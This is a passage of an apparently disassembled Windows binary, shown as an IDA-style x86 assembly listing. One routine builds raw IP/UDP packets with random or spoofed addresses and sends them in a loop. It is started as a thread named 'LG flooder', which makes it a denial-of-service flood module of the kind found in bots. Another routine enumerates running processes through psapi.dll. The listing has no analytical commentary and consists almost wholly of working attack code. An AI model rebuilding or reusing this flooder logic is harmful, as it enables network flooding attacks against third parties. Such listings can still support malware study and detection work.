		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405BA9:				; CODE XREF: sub_4055E5+62Ej
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405C15
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405BA9
; ---------------------------------------------------------------------------


loc_405C15:				; CODE XREF: sub_4055E5+5D2j
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41F028
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: sub_4167F1+D0p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E390
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E38C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E380, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E384, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E388, eax
		cmp	dword_41E38C, 0
		jz	short locret_40603F
		cmp	dword_41E380, 0
		jz	short locret_40603F
		cmp	dword_41E384, 0
		jz	short locret_40603F
		cmp	dword_41E388, 0
		jz	short locret_40603F
		mov	byte_41E3AC, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E390
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E3AC
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E38C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E380
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E388
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DF10
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E384
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E390
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

